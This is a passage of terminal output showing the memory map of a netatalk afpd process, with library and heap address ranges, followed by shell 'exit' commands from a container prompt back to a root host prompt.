08:00 348786 /home/netatalk/afpd 55d35c1f6000-55d35c215000 rw-p 00000000 00:00 0 55d35d5db000-55d35d649000 rw-p 00000000 00:00 0 [heap] 7f6664243000-7f6664e44000 rw-p 00000000 00:00 0 7f6664e44000-7f6664e4f000 r-xp 00000000 08:00 2534640 /lib/x86_64-linux-gnu/libnss_files-2.27.so 7f6664e4f000-7f666504e000 ---p 0000b000 08:00 2534640 /lib/x86_64-linux-gnu/libnss_files-2.27.so 7f666504e000-7f666504f000 r--p 0000a000 08:00 2534640 /lib/x86_64-linux-gnu/libnss_files-2.27.so 7f666504f000-7f6665050000 rw-p 0000b000 08:00 2534640 /lib/x86_64-linux-gnu/libnss_files-2.27.so 7f6665050000-7f6665056000 rw-p 00000000 00:00 0 7f6665056000-7f66651f3000 r-xp 00000000 08:00 2534623 /lib/x86_64-linux-gnu/libm-2.27.so 7f66651f3000-7f66653f2000 ---p 0019d000 08:00 2534623 /lib/x86_64-linux-gnu/libm-2.27.so 7f66653f2000-7f66653f3000 r--p 0019c000 08:00 2534623 /lib/x86_64-linux-gnu/libm-2.27.so 7f66653f3000-7f66653f4000 rw-p 0019d000 08:00 2534623 /lib/x86_64-linux-gnu/libm-2.27.so 7f66653f4000-7f66653fb000 r-xp 00000000 08:00 2535365 /usr/lib/x86_64-linux-gnu/libffi.so.6.0.4 7f66653fb000-7f66655fa000 ---p 00007000 08:00 2535365 /usr/lib/x86_64-linux-gnu/libffi.so.6.0.4 7f66655fa000-7f66655fb000 r--p 00006000 08:00 2535365 /usr/lib/x86_64-linux-gnu/libffi.so.6.0.4 7f66655fb000-7f66655fc000 rw-p 00007000 08:00 2535365 /usr/lib/x86_64-linux-gnu/libffi.so.6.0.4 7f66655fc000-7f6665605000 r-xp 00000000 08:00 2534606 /lib/x86_64-linux-gnu/libcrypt-2.27.so 7f6665605000-7f6665804000 ---p 00009000 08:00 2534606 /lib/x86_64-linux-gnu/libcrypt-2.27.so 7f6665804000-7f6665805000 r--p 00008000 08:00 2534606 /lib/x86_64-linux-gnu/libcrypt-2.27.so 7f6665805000-7f6665806000 rw-p 00009000 08:00 2534606 /lib/x86_64-linux-gnu/libcrypt-2.27.so 7f6665806000-7f6665834000 rw-p 00000000 00:00 0 7f6665834000-7f6665938000 r-xp 00000000 08:00 1041433 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6 7f6665938000-7f6665b37000 ---p 00104000 08:00 1041433 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6 7f6665b37000-7f6665b3a000 r--p 00103000 08:00 1041433 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6 7f6665b3a000-7f6665b3c000 rw-p 00106000 08:00 1041433 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6 7f6665b3c000-7f6665b3d000 rw-p 00000000 00:00 0 7f6665b3d000-7f6665b83000 r-xp 00000000 08:00 1041335 /usr/lib/x86_64-linux-gnu/libhx509.so.5.0.0 7f6665b83000-7f6665d82000 ---p 00046000 08:00 1041335 /usr/lib/x86_64-linux-gnu/libhx509.so.5.0.0 7f6665d82000-7f6665d85000 r--p 00045000 08:00 1041335 /usr/lib/x86_64-linux-gnu/libhx509.so.5.0.0 7f6665d85000-7f6665d86000 rw-p 00048000 08:00 1041335 /usr/lib/x86_64-linux-gnu/libhx509.so.5.0.0 7f6665d86000-7f6665d87000 rw-p 00000000 00:00 0 7f6665d87000-7f6665d95000 r-xp 00000000 08:00 1041320 /usr/lib/x86_64-linux-gnu/libheimbase.so.1.0.0 7f6665d95000-7f6665f94000 ---p 0000e000 08:00 1041320 /usr/lib/x86_64-linux-gnu/libheimbase.so.1.0.0 7f6665f94000-7f6665f95000 r--p 0000d000 08:00 1041320 /usr/lib/x86_64-linux-gnu/libheimbase.so.1.0.0 7f6665f95000-7f6665f96000 rw-p 0000e000 08:00 1041320 /usr/lib/x86_64-linux-gnu/libheimbase.so.1.0.0 7f6665f96000-7f6665fbe000 r-xp 00000000 08:00 1041445 /usr/lib/x86_64-linux-gnu/libwind.so.0.0.0 7f6665fbe000-7f66661bd000 ---p 00028000 08:00 1041445 /usr/lib/x86_64-linux-gnu/libwind.so.0.0.0 7f66661bd000-7f66661be000 r--p 00027000 08:00 1041445 /usr/lib/x86_64-linux-gnu/libwind.so.0.0.0 7f66661be000-7f66661bf000 rw-p 00028000 08:00 1041445 /usr/lib/x86_64-linux-gnu/libwind.so.0.0.0 7f66661bf000-7f666623e000 r-xp 00000000 08:00 2535371 /usr/lib/x86_64-linux-gnu/libgmp.so.10.3.2 7f666623e000-7f666643e000 ---p 0007f000 08:00 2535371 /usr/lib/x86_64-linux-gnu/libgmp.so.10.3.2 7f666643e000-7f666643f000 r--p 0007f000 08:00 2535371 /usr/lib/x86_64-linux-gnu/libgmp.so.10.3.2 7f666643f000-7f6666440000 rw-p 00080000 08:00 2535371 /usr/lib/x86_64-linux-gnu/libgmp.so.10.3.2 7f6666440000-7f6666473000 r-xp 00000000 08:00 2535375 /usr/lib/x86_64-linux-gnu/libhogweed.so.4.4 7f6666473000-7f6666672000 ---p 00033000 08:00 2535375 /usr/lib/x86_64-linux-gnu/libhogweed.so.4.4 7f6666672000-7f6666673000 r--p 00032000 08:00 2535375 /usr/lib/x86_64-linux-gnu/libhogweed.so.4.4 7f6666673000-7f6666674000 rw-p 00033000 08:00 2535375 /usr/lib/x86_64-linux-gnu/libhogweed.so.4.4 7f6666674000-7f66666a8000 r-xp 00000000 08:00 2535385 /usr/lib/x86_64-linux-gnu/libnettle.so.6.4 7f66666a8000-7f66668a7000 ---p 00034000 08:00 2535385 /usr/lib/x86_64-linux-gnu/libnettle.so.6.4 7f66668a7000-7f66668a9000 r--p 00033000 08:00 2535385 /usr/lib/x86_64-linux-gnu/libnettle.so.6.4 7f66668a9000-7f66668aa000 rw-p 00035000 08:00 2535385 /usr/lib/x86_64-linux-gnu/libnettle.so.6.4 7f66668aa000-7f66668bb000 r-xp 00000000 08:00 2535398 /usr/lib/x86_64-linux-gnu/libtasn1.so.6.5.5 7f66668bb000-7f6666abb000 ---p 00011000 08:00 2535398 /usr/lib/x86_64-linux-gnu/libtasn1.so.6.5.5 7f6666abb000-7f6666abc000 r--p 00011000 08:00 2535398 /usr/lib/x86_64-linux-gnu/libtasn1.so.6.5.5 7f6666abc000-7f6666abd000 rw-p 00012000 08:00 2535398 /usr/lib/x86_64-linux-gnu/libtasn1.so.6.5.5 7f6666abd000-7f6666c37000 r-xp 00000000 08:00 2535402 /usr/lib/x86_64-linux-gnu/libunistring.so.2.1.0 7f6666c37000-7f6666e37000 ---p 0017a000 08:00 2535402 /usr/lib/x86_64-linux-gnu/libunistring.so.2.1.0 7f6666e37000-7f6666e3a000 r--p 0017a000 08:00 2535402 /usr/lib/x86_64-linux-gnu/libunistring.so.2.1.0 7f6666e3a000-7f6666e3b000 rw-p 0017d000 08:00 2535402 /usr/lib/x86_64-linux-gnu/libunistring.so.2.1.0 7f6666e3b000-7f6666e57000 r-xp 00000000 08:00 2535377 /usr/lib/x86_64-linux-gnu/libidn2.so.0.3.3 7f6666e57000-7f6667056000 ---p 0001c000 08:00 2535377 /usr/lib/x86_64-linux-gnu/libidn2.so.0.3.3 7f6667056000-7f6667057000 r--p 0001b000 08:00 2535377 /usr/lib/x86_64-linux-gnu/libidn2.so.0.3.3 7f6667057000-7f6667058000 rw-p 0001c000 08:00 2535377 /usr/lib/x86_64-linux-gnu/libidn2.so.0.3.3 7f6667058000-7f6667172000 r-xp 00000000 08:00 2535387 /usr/lib/x86_64-linux-gnu/libp11-kit.so.0.3.0 7f6667172000-7f6667372000 ---p 0011a000 08:00 2535387 /usr/lib/x86_64-linux-gnu/libp11-kit.so.0.3.0 7f6667372000-7f666737c000 r--p 0011a000 08:00 2535387 /usr/lib/x86_64-linux-gnu/libp11-kit.so.0.3.0 7f666737c000-7f6667386000 rw-p 00124000 08:00 2535387 /usr/lib/x86_64-linux-gnu/libp11-kit.so.0.3.0 7f6667386000-7f6667387000 rw-p 00000000 00:00 0 7f6667387000-7f66673a3000 r-xp 00000000 08:00 2534686 /lib/x86_64-linux-gnu/libz.so.1.2.11 7f66673a3000-7f66675a2000 ---p 0001c000 08:00 2534686 /lib/x86_64-linux-gnu/libz.so.1.2.11 7f66675a2000-7f66675a3000 r--p 0001b000 08:00 2534686 /lib/x86_64-linux-gnu/libz.so.1.2.11 7f66675a3000-7f66675a4000 rw-p 0001c000 08:00 2534686 /lib/x86_64-linux-gnu/libz.so.1.2.11 7f66675a4000-7f66675b9000 r-xp 00000000 08:00 1041418 /usr/lib/x86_64-linux-gnu/libroken.so.18.1.0 7f66675b9000-7f66677b8000 ---p 00015000 08:00 1041418 /usr/lib/x86_64-linux-gnu/libroken.so.18.1.0 7f66677b8000-7f66677b9000 r--p 00014000 08:00 1041418 /usr/lib/x86_64-linux-gnu/libroken.so.18.1.0 7f66677b9000-7f66677ba000 rw-p 00015000 08:00 1041418 /usr/lib/x86_64-linux-gnu/libroken.so.18.1.0 7f66677ba000-7f66677ed000 r-xp 00000000 08:00 1041305 /usr/lib/x86_64-linux-gnu/libhcrypto.so.4.1.0 7f66677ed000-7f66679ec000 ---p 00033000 08:00 1041305 /usr/lib/x86_64-linux-gnu/libhcrypto.so.4.1.0 7f66679ec000-7f66679ee000 r--p 00032000 08:00 1041305 /usr/lib/x86_64-linux-gnu/libhcrypto.so.4.1.0 7f66679ee000-7f66679ef000 rw-p 00034000 08:00 1041305 /usr/lib/x86_64-linux-gnu/libhcrypto.so.4.1.0 7f66679ef000-7f66679f0000 rw-p 00000000 00:00 0 7f66679f0000-7f66679f3000 r-xp 00000000 08:00 2534605 /lib/x86_64-linux-gnu/libcom_err.so.2.1 7f66679f3000-7f6667bf2000 ---p 00003000 08:00 2534605 /lib/x86_64-linux-gnu/libcom_err.so.2.1 7f6667bf2000-7f6667bf3000 r--p 00002000 08:00 2534605 /lib/x86_64-linux-gnu/libcom_err.so.2.1 7f6667bf3000-7f6667bf4000 rw-p 00003000 08:00 2534605 /lib/x86_64-linux-gnu/libcom_err.so.2.1 7f6667bf4000-7f6667c92000 r-xp 00000000 08:00 1041260 /usr/lib/x86_64-linux-gnu/libasn1.so.8.0.0 7f6667c92000-7f6667e92000 ---p 0009e000 08:00 1041260 /usr/lib/x86_64-linux-gnu/libasn1.so.8.0.0 7f6667e92000-7f6667e93000 r--p 0009e000 08:00 1041260 /usr/lib/x86_64-linux-gnu/libasn1.so.8.0.0 7f6667e93000-7f6667e96000 rw-p 0009f000 08:00 1041260 /usr/lib/x86_64-linux-gnu/libasn1.so.8.0.0 7f6667e96000-7f6667f1d000 r-xp 00000000 08:00 1041348 /usr/lib/x86_64-linux-gnu/libkrb5.so.26.0.0 7f6667f1d000-7f666811c000 ---p 00087000 08:00 1041348 /usr/lib/x86_64-linux-gnu/libkrb5.so.26.0.0 7f666811c000-7f6668120000 r--p 00086000 08:00 1041348 /usr/lib/x86_64-linux-gnu/libkrb5.so.26.0.0 7f6668120000-7f6668122000 rw-p 0008a000 08:00 1041348 /usr/lib/x86_64-linux-gnu/libkrb5.so.26.0.0 7f6668122000-7f6668123000 rw-p 00000000 00:00 0 7f6668123000-7f666812b000 r-xp 00000000 08:00 1041326 /usr/lib/x86_64-linux-gnu/libheimntlm.so.0.1.0 7f666812b000-7f666832a000 ---p 00008000 08:00 1041326 /usr/lib/x86_64-linux-gnu/libheimntlm.so.0.1.0 7f666832a000-7f666832b000 r--p 00007000 08:00 1041326 /usr/lib/x86_64-linux-gnu/libheimntlm.so.0.1.0 7f666832b000-7f666832c000 rw-p 00008000 08:00 1041326 /usr/lib/x86_64-linux-gnu/libheimntlm.so.0.1.0 7f666832c000-7f6668483000 r-xp 00000000 08:00 2535373 /usr/lib/x86_64-linux-gnu/libgnutls.so.30.14.10 7f6668483000-7f6668683000 ---p 00157000 08:00 2535373 /usr/lib/x86_64-linux-gnu/libgnutls.so.30.14.10 7f6668683000-7f666868f000 r--p 00157000 08:00 2535373 /usr/lib/x86_64-linux-gnu/libgnutls.so.30.14.10 7f666868f000-7f6668690000 rw-p 00163000 08:00 2535373 /usr/lib/x86_64-linux-gnu/libgnutls.so.30.14.10 7f6668690000-7f6668691000 rw-p 00000000 00:00 0 7f6668691000-7f66686ce000 r-xp 00000000 08:00 1041293 /usr/lib/x86_64-linux-gnu/libgssapi.so.3.0.0 7f66686ce000-7f66688ce000 ---p 0003d000 08:00 1041293 /usr/lib/x86_64-linux-gnu/libgssapi.so.3.0.0 7f66688ce000-7f66688d0000 r--p 0003d000 08:00 1041293 /usr/lib/x86_64-linux-gnu/libgssapi.so.3.0.0 7f66688d0000-7f66688d2000 rw-p 0003f000 08:00 1041293 /usr/lib/x86_64-linux-gnu/libgssapi.so.3.0.0 7f66688d2000-7f66688eb000 r-xp 00000000 08:00 1041424 /usr/lib/x86_64-linux-gnu/libsasl2.so.2.0.25 7f66688eb000-7f6668aeb000 ---p 00019000 08:00 1041424 /usr/lib/x86_64-linux-gnu/libsasl2.so.2.0.25 7f6668aeb000-7f6668aec000 r--p 00019000 08:00 1041424 /usr/lib/x86_64-linux-gnu/libsasl2.so.2.0.25 7f6668aec000-7f6668aed000 rw-p 0001a000 08:00 1041424 /usr/lib/x86_64-linux-gnu/libsasl2.so.2.0.25 7f6668aed000-7f6668b04000 r-xp 00000000 08:00 2534661 /lib/x86_64-linux-gnu/libresolv-2.27.so 7f6668b04000-7f6668d04000 ---p 00017000 08:00 2534661 /lib/x86_64-linux-gnu/libresolv-2.27.so 7f6668d04000-7f6668d05000 r--p 00017000 08:00 2534661 /lib/x86_64-linux-gnu/libresolv-2.27.so 7f6668d05000-7f6668d06000 rw-p 00018000 08:00 2534661 /lib/x86_64-linux-gnu/libresolv-2.27.so 7f6668d06000-7f6668d08000 rw-p 00000000 00:00 0 7f6668d08000-7f6668d15000 r-xp 00000000 08:00 1041363 /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2.10.8 7f6668d15000-7f6668f14000 ---p 0000d000 08:00 1041363 /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2.10.8 7f6668f14000-7f6668f15000 r--p 0000c000 08:00 1041363 /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2.10.8 7f6668f15000-7f6668f16000 rw-p 0000d000 08:00 1041363 /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2.10.8 7f6668f16000-7f6668f2d000 r-xp 00000000 08:00 2534634 /lib/x86_64-linux-gnu/libnsl-2.27.so 7f6668f2d000-7f666912c000 ---p 00017000 08:00 2534634 /lib/x86_64-linux-gnu/libnsl-2.27.so 7f666912c000-7f666912d000 r--p 00016000 08:00 2534634 /lib/x86_64-linux-gnu/libnsl-2.27.so 7f666912d000-7f666912e000 rw-p 00017000 08:00 2534634 /lib/x86_64-linux-gnu/libnsl-2.27.so 7f666912e000-7f6669130000 rw-p 00000000 00:00 0 7f6669130000-7f666917e000 r-xp 00000000 08:00 1041396 /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2.10.8 7f666917e000-7f666937d000 ---p 0004e000 08:00 1041396 /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2.10.8 7f666937d000-7f666937f000 r--p 0004d000 08:00 1041396 /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2.10.8 7f666937f000-7f6669380000 rw-p 0004f000 08:00 1041396 /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2.10.8 7f6669380000-7f6669382000 rw-p 00000000 00:00 0 7f6669382000-7f6669386000 r-xp 00000000 08:00 2534590 /lib/x86_64-linux-gnu/libattr.so.1.1.0 7f6669386000-7f6669585000 ---p 00004000 08:00 2534590 /lib/x86_64-linux-gnu/libattr.so.1.1.0 7f6669585000-7f6669586000 r--p 00003000 08:00 2534590 /lib/x86_64-linux-gnu/libattr.so.1.1.0 7f6669586000-7f6669587000 rw-p 00004000 08:00 2534590 /lib/x86_64-linux-gnu/libattr.so.1.1.0 7f6669587000-7f666958f000 r-xp 00000000 08:00 1041226 /lib/x86_64-linux-gnu/libwrap.so.0.7.6 7f666958f000-7f666978f000 ---p 00008000 08:00 1041226 /lib/x86_64-linux-gnu/libwrap.so.0.7.6 7f666978f000-7f6669790000 r--p 00008000 08:00 1041226 /lib/x86_64-linux-gnu/libwrap.so.0.7.6 7f6669790000-7f6669791000 rw-p 00009000 08:00 1041226 /lib/x86_64-linux-gnu/libwrap.so.0.7.6 7f6669791000-7f6669978000 r-xp 00000000 08:00 2534598 /lib/x86_64-linux-gnu/libc-2.27.so 7f6669978000-7f6669b78000 ---p 001e7000 08:00 2534598 /lib/x86_64-linux-gnu/libc-2.27.so 7f6669b78000-7f6669b7c000 r--p 001e7000 08:00 2534598 /lib/x86_64-linux-gnu/libc-2.27.so 7f6669b7c000-7f6669b7e000 rw-p 001eb000 08:00 2534598 /lib/x86_64-linux-gnu/libc-2.27.so 7f6669b7e000-7f6669b82000 rw-p 00000000 00:00 0 7f6669b82000-7f6669b9c000 r-xp 00000000 08:00 2534659 /lib/x86_64-linux-gnu/libpthread-2.27.so 7f6669b9c000-7f6669d9b000 ---p 0001a000 08:00 2534659 /lib/x86_64-linux-gnu/libpthread-2.27.so 7f6669d9b000-7f6669d9c000 r--p 00019000 08:00 2534659 /lib/x86_64-linux-gnu/libpthread-2.27.so 7f6669d9c000-7f6669d9d000 rw-p 0001a000 08:00 2534659 /lib/x86_64-linux-gnu/libpthread-2.27.so 7f6669d9d000-7f6669da1000 rw-p 00000000 00:00 0 7f6669da1000-7f6669da8000 r-xp 00000000 08:00 2534586 /lib/x86_64-linux-gnu/libacl.so.1.1.0 7f6669da8000-7f6669fa7000 ---p 00007000 08:00 2534586 /lib/x86_64-linux-gnu/libacl.so.1.1.0 7f6669fa7000-7f6669fa8000 r--p 00006000 08:00 2534586 /lib/x86_64-linux-gnu/libacl.so.1.1.0 7f6669fa8000-7f6669fa9000 rw-p 00007000 08:00 2534586 /lib/x86_64-linux-gnu/libacl.so.1.1.0 7f6669fa9000-7f6669fac000 r-xp 00000000 08:00 2534608 /lib/x86_64-linux-gnu/libdl-2.27.so 7f6669fac000-7f666a1ab000 ---p 00003000 08:00 2534608 /lib/x86_64-linux-gnu/libdl-2.27.so 7f666a1ab000-7f666a1ac000 r--p 00002000 08:00 2534608 /lib/x86_64-linux-gnu/libdl-2.27.so 7f666a1ac000-7f666a1ad000 rw-p 00003000 08:00 2534608 /lib/x86_64-linux-gnu/libdl-2.27.so 7f666a1ad000-7f666a22b000 r-xp 00000000 08:00 348787 /home/netatalk/libatalk.so.18 7f666a22b000-7f666a42a000 ---p 0007e000 08:00 348787 /home/netatalk/libatalk.so.18 7f666a42a000-7f666a42b000 r--p 0007d000 08:00 348787 /home/netatalk/libatalk.so.18 7f666a42b000-7f666a42d000 rw-p 0007e000 08:00 348787 /home/netatalk/libatalk.so.18 7f666a42d000-7f666a43b000 rw-p 00000000 00:00 0 7f666a43b000-7f666a462000 r-xp 00000000 08:00 2534580 /lib/x86_64-linux-gnu/ld-2.27.so 7f666a54b000-7f666a64c000 rw-p 00000000 00:00 0 7f666a64c000-7f666a65d000 rw-p 00000000 00:00 0 7f666a660000-7f666a662000 rw-p 00000000 00:00 0 7f666a662000-7f666a663000 r--p 00027000 08:00 2534580 /lib/x86_64-linux-gnu/ld-2.27.so 7f666a663000-7f666a664000 rw-p 00028000 08:00 2534580 /lib/x86_64-linux-gnu/ld-2.27.so 7f666a664000-7f666a665000 rw-p 00000000 00:00 0 7ffc2810d000-7ffc2812e000 rw-p 00000000 00:00 0 [stack] 7ffc281ba000-7ffc281bc000 r--p 00000000 00:00 0 [vvar] 7ffc281bc000-7ffc281be000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] netatalk@08e1e5af1e65:/home/netatalk$ exit exit exit root@iZ2ze56h5vena39qt3om1nZ:~#